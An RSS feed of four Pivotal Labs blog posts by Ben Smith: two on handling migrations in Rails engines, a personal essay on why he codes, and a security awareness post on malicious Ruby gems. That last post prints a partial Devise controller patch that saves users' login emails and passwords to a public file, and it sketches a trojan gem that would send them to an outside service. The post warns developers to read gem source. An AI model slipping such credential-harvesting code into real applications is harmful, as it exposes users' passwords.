<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pivotal Labs &#187; Ben Smith</title>
	<atom:link href="http://pivotallabs.com/author/bsmith/feed/" rel="self" type="application/rss+xml" />
	<link>http://pivotallabs.com</link>
	<description>Agility Developed</description>
	<lastBuildDate>Wed, 19 Jun 2013 07:57:10 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Moving db tables between Rails engines</title>
		<link>http://pivotallabs.com/moving-db-tables-between-rails-engines/</link>
		<comments>http://pivotallabs.com/moving-db-tables-between-rails-engines/#comments</comments>
		<pubDate>Fri, 07 Jun 2013 14:16:25 +0000</pubDate>
		<dc:creator>Ben Smith</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[engines]]></category>
		<category><![CDATA[migrations]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[rails application suites]]></category>

		<guid isPermaLink="false">http://pivotallabs.com/?p=20006</guid>
		<description><![CDATA[<p>If you&#8217;re using Rails engines to break up your app and you&#8217;re putting your migrations in the engines, then you&#8217;re already doing great! Here&#8217;s an additional pro-tip when it comes to having migrations within your engines: only allow each migration to touch one db table. Why would we do this? When it comes to refactoring, there are times when you want to move a database table from one engine to another. Better yet, pull a whole table out into it&#8217;s own new engine! Or maybe you have a big Rails app, and you&#8217;re wanting to pull chunks of functionality into engines. Doing any of these refactorings is tricky if your migrations touch multiple database tables. If you&#8217;re in this boat, then your best bet is to drop the table in one migration, and do a new migration to create the table again in your new engine. But if your migrations&#8230;</p><p>The post <a href="http://pivotallabs.com/moving-db-tables-between-rails-engines/">Moving db tables between Rails engines</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>If you&#8217;re using Rails engines to break up your app and you&#8217;re <a href="http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/">putting your migrations in the engines</a>, then you&#8217;re already doing great! Here&#8217;s an additional pro-tip when it comes to having migrations within your engines: only allow each migration to touch one db table.</p>
<p>Why would we do this? When it comes to refactoring, there are times when you want to move a database table from one engine to another. Better yet, pull a whole table out into it&#8217;s own new engine! Or maybe you have a big Rails app, and you&#8217;re wanting to pull chunks of functionality into engines.</p>
<p>Doing any of these refactorings is tricky if your migrations touch multiple database tables. If you&#8217;re in this boat, then your best bet is to drop the table in one migration, and do a new migration to create the table again in your new engine. But if your migrations for that table ONLY touch the table your trying to move, then it&#8217;s as easy as&#8230;</p>
<p>1) Move ALL migration files for the db table from engine X to engine Y (this includes the migrations that created the table, added columns to it, renamed it, etc)<br />
2) Run <code>rake app:db:drop app:db:create &#038;&#038; rake app:db:migrate app:db:test:prepare</code> from within engine X and engine Y</p>
<p>&#8230;and you&#8217;re done. You&#8217;ve moved your database table from engine X to engine Y!</p>
<p>The crazy thing is, when you run <code>rake db:migrate</code> from your wrapping Rails app (the one that requires all your engines), it won&#8217;t run any new migrations. To the wrapping Rails app (ie your production server), there are no new migrations. It&#8217;s pulling the same migrations from a different place, so it doesn&#8217;t notice a difference.</p>
<p>This makes refactoring and moving tables around 100x easier, and I loooove me some easy refactorings!</p>
<p>The post <a href="http://pivotallabs.com/moving-db-tables-between-rails-engines/">Moving db tables between Rails engines</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://pivotallabs.com/moving-db-tables-between-rails-engines/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>leave your migrations in your Rails engines</title>
		<link>http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/</link>
		<comments>http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/#comments</comments>
		<pubDate>Wed, 08 May 2013 14:18:43 +0000</pubDate>
		<dc:creator>Ben Smith</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[engines]]></category>
		<category><![CDATA[migrations]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[rails application suites]]></category>

		<guid isPermaLink="false">http://pivotallabs.com/?p=18928</guid>
		<description><![CDATA[<p>If you are using Rails engines to break up a single app into modular pieces, migrations (as they are currently implemented in Rails 3.2.13) become clumsy. There are three options for migrations within an engine (spoiler: #3 is the best): 1) You can use the your_engine_name:install:migrations rake task, which copies the migrations out of the engine and into the wrapping Rails app where they can be run normally. This works fine if your migrations in your engine never change, but if you&#8217;re actively developing your engine you need to run this rake task each time you add a migration. 2) You can put all your migrations in your wrapping Rails app. This works if you&#8217;re using your engines as a way to break up your app, but it doesn&#8217;t feel right. If your models, views, and controllers all live within the engine (and depend on migrations), shouldn&#8217;t your migrations live&#8230;</p><p>The post <a href="http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/">leave your migrations in your Rails engines</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>If you are using Rails engines to break up a single app into modular pieces, migrations (as they are currently implemented in Rails 3.2.13) become clumsy.</p>
<p>There are three options for migrations within an engine (spoiler: #3 is the best):</p>
<p>1) You can use the <code>your_engine_name:install:migrations</code> rake task, which copies the migrations out of the engine and into the wrapping Rails app where they can be run normally. This works fine if your migrations in your engine never change, but if you&#8217;re actively developing your engine you need to run this rake task each time you add a migration.</p>
<p>2) You can put all your migrations in your wrapping Rails app. This works if you&#8217;re using your engines as a way to break up your app, but it doesn&#8217;t feel right. If your models, views, and controllers all live within the engine (and depend on migrations), shouldn&#8217;t your migrations live within the engine as well? If your migrations live in the wrapper Rails app, you actually create a weird upward dependency where the engine is actually dependent on the wrapper app. This is bad.</p>
<p>3) You can monkey patch Rails so all of your engine&#8217;s migrations automatically get run in the wrapper Rails app. Everything just works, and migrations live where they should: in the engine. If you&#8217;re breaking up your large Rails app into engines, this is the way to go. Here&#8217;s how you do it&#8230;.</p>
<p>Within your Rails engine, there should be a file called <code>engine.rb</code> here&#8217;s an example of it for an engine I called <code>EngineWithMigrations</code>:</p>
<pre>
<code class="ruby">
module EngineWithMigrations
  class Engine &lt; ::Rails::Engine
    isolate_namespace EngineWithMigrations
  end
end
</code>
</pre>
<p>All you need to do is tell Rails to add your engine&#8217;s migration directory to its list of places it looks for migrations. Like so:</p>
<pre>
<code class="ruby">
module EngineWithMigrations
  class Engine < ::Rails::Engine
    isolate_namespace EngineWithMigrations
    
    initializer :append_migrations do |app|
      unless app.root.to_s.match root.to_s
        app.config.paths["db/migrate"] += config.paths["db/migrate"].expanded
      end
    end
  end
end
</code>
</pre>
<p><code>app.config</code> is the config of your wrapper Rails app, <code>config</code> is the config of your engine. The above line adds the engine's migration directory to the wrapper Rails app's migration directory list. The <code>unless</code> wrapping it is to keep your migrations from running twice in your testing dummy app (which already runs migrations fine). Now when you run <code>rake db:migrate</code> from your wrapper app, your engine's migrations just work!</p>
<p>The post <a href="http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/">leave your migrations in your Rails engines</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://pivotallabs.com/leave-your-migrations-in-your-rails-engines/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>coding for the soul</title>
		<link>http://pivotallabs.com/coding-for-the-soul/</link>
		<comments>http://pivotallabs.com/coding-for-the-soul/#comments</comments>
		<pubDate>Fri, 12 Apr 2013 05:24:35 +0000</pubDate>
		<dc:creator>Ben Smith</dc:creator>
				<category><![CDATA[Labs]]></category>

		<guid isPermaLink="false">http://pivotallabs.com/?p=18328</guid>
		<description><![CDATA[<p>Is coding right for you? Does it satisfy your soul? If you had a billion dollars, would you write another line of code? Three years ago, I quit my Rails consulting gig, bought a VW Bus and started traveling. I thought, if I was independently wealthy I would spend my life traveling, climbing and surfing. I loved that life. I was living the dream. I didn&#8217;t write a line of code&#8230; for 6 months. Then, in the middle of winter, in Kentucky, I spent three days in the basement of a pizza shop. No running water, no heat&#8230;. but it had electricity and wifi. I spent three days hacking away, and I loved it. At that point I realized that I needed to write code. It provided something my soul craved. I think it&#8217;s the ability to CREATE that I love. I find taking an idea and turning it into&#8230;</p><p>The post <a href="http://pivotallabs.com/coding-for-the-soul/">coding for the soul</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Is coding right for you?</p>
<p>Does it satisfy your soul?</p>
<p>If you had a billion dollars, would you write another line of code?</p>
<p>Three years ago, I quit my Rails consulting gig, bought a VW Bus and started traveling. I thought, if I was independently wealthy I would spend my life traveling, climbing and surfing. I loved that life. I was living the dream.</p>
<p><a href="http://www.flickr.com/photos/benjaminsmith/4698063568/" title="Joshua Tree by benjamin.smith, on Flickr"><img src="http://farm5.staticflickr.com/4070/4698063568_d12528d2c1_z.jpg" width="640" height="480" alt="Joshua Tree"></a></p>
<p>I didn&#8217;t write a line of code&#8230; for 6 months. Then, in the middle of winter, in Kentucky, I spent three days in the basement of a pizza shop. No running water, no heat&#8230;. but it had electricity and wifi. I spent three days hacking away, and I loved it.</p>
<p>At that point I realized that I needed to write code. It provided something my soul craved.</p>
<p>I think it&#8217;s the ability to CREATE that I love. I find taking an idea and turning it into reality&#8230; satisfying. Maybe if I could paint, compose music, or ice sculpt with a chain saw I&#8217;d do one of those things instead, but I can&#8217;t.</p>
<p>I can code. Coding satisfies my soul&#8217;s need to create.</p>
<p>Is coding right for you? How do you know?</p>
<p>The post <a href="http://pivotallabs.com/coding-for-the-soul/">coding for the soul</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://pivotallabs.com/coding-for-the-soul/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Do you know what your gems are doing?</title>
		<link>http://pivotallabs.com/do-you-know-what-your-gems-are-doing/</link>
		<comments>http://pivotallabs.com/do-you-know-what-your-gems-are-doing/#comments</comments>
		<pubDate>Sun, 09 Oct 2011 04:12:00 +0000</pubDate>
		<dc:creator>Ben Smith</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://pivotallabs.com/do-you-know-what-your-gems-are-doing/</guid>
		<description><![CDATA[<p><p>A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.</p>

<p>This satisfied the client, but it got me wondering: what's the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client's customer's data getting stolen, the customers completely loosing faith in the site, and the client's project failing because of it.</p>

<p>How likely is this to happen? I don't really know.</p>

<p>How hard would it be for someone to do this?</p>

<p>I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.</p>

<p>The code wasn't clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.</p>

<pre>
      class Devise::SessionsController &#60; ApplicationController
        prepend_before_filter :require_no_authentication, :only =&#62; [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open&#40;&#34;#{Rails.root}/public/passwords.html&#34;, 'a+'&#41; do &#124;f&#124;
            f.write&#40;&#34;#{params[:user][:email]} #{params[:user][:password]}&#60;br /&#62;&#34;&#41;
          end
...
</pre>

<p>So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.</p>

<p>I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:</p>

<pre>
gem 'devise_hack'
</pre>

<p>Of course, who would install a gem that would pwn their own app? No one, but what about a "long con" approach?</p>

<p>Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…</p>

<pre>
gem 'awesome_rails_flash_messages'
</pre>

<p>This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that's nothing to worry about.</p>

<p>So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn't be... you might want to reconsider using that gem.</p> <a href="http://pivotallabs.com/do-you-know-what-your-gems-are-doing/">Continue reading <span class="meta-nav">&#8594;</span></a></p><p>The post <a href="http://pivotallabs.com/do-you-know-what-your-gems-are-doing/">Do you know what your gems are doing?</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.</p>
<p>This satisfied the client, but it got me wondering: what&#8217;s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client&#8217;s customer&#8217;s data getting stolen, the customers completely loosing faith in the site, and the client&#8217;s project failing because of it.</p>
<p>How likely is this to happen? I don&#8217;t really know.</p>
<p>How hard would it be for someone to do this?</p>
<p>I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.</p>
<p>The code wasn&#8217;t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.</p>
<pre>
      class Devise::SessionsController &lt; ApplicationController
        prepend_before_filter :require_no_authentication, :only =&gt; [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open&#40;&quot;#{Rails.root}/public/passwords.html&quot;, 'a+'&#41; do |f|
            f.write&#40;&quot;#{params[:user][:email]} #{params[:user][:password]}&lt;br /&gt;&quot;&#41;
          end
...
</pre>
<p>So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.</p>
<p>I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:</p>
<pre>
gem 'devise_hack'
</pre>
<p>Of course, who would install a gem that would pwn their own app? No one, but what about a &#8220;long con&#8221; approach?</p>
<p>Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…</p>
<pre>
gem 'awesome_rails_flash_messages'
</pre>
<p>This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that&#8217;s nothing to worry about.</p>
<p>So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn&#8217;t be&#8230; you might want to reconsider using that gem.</p>
<p>The post <a href="http://pivotallabs.com/do-you-know-what-your-gems-are-doing/">Do you know what your gems are doing?</a> appeared first on <a href="http://pivotallabs.com">Pivotal Labs</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://pivotallabs.com/do-you-know-what-your-gems-are-doing/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic (Feed is rejected)
Page Caching using apc
Database Caching using apc
Object Caching 661/708 objects using apc

 Served from: pivotallabs.com @ 2013-06-19 09:45:28 by W3 Total Cache -->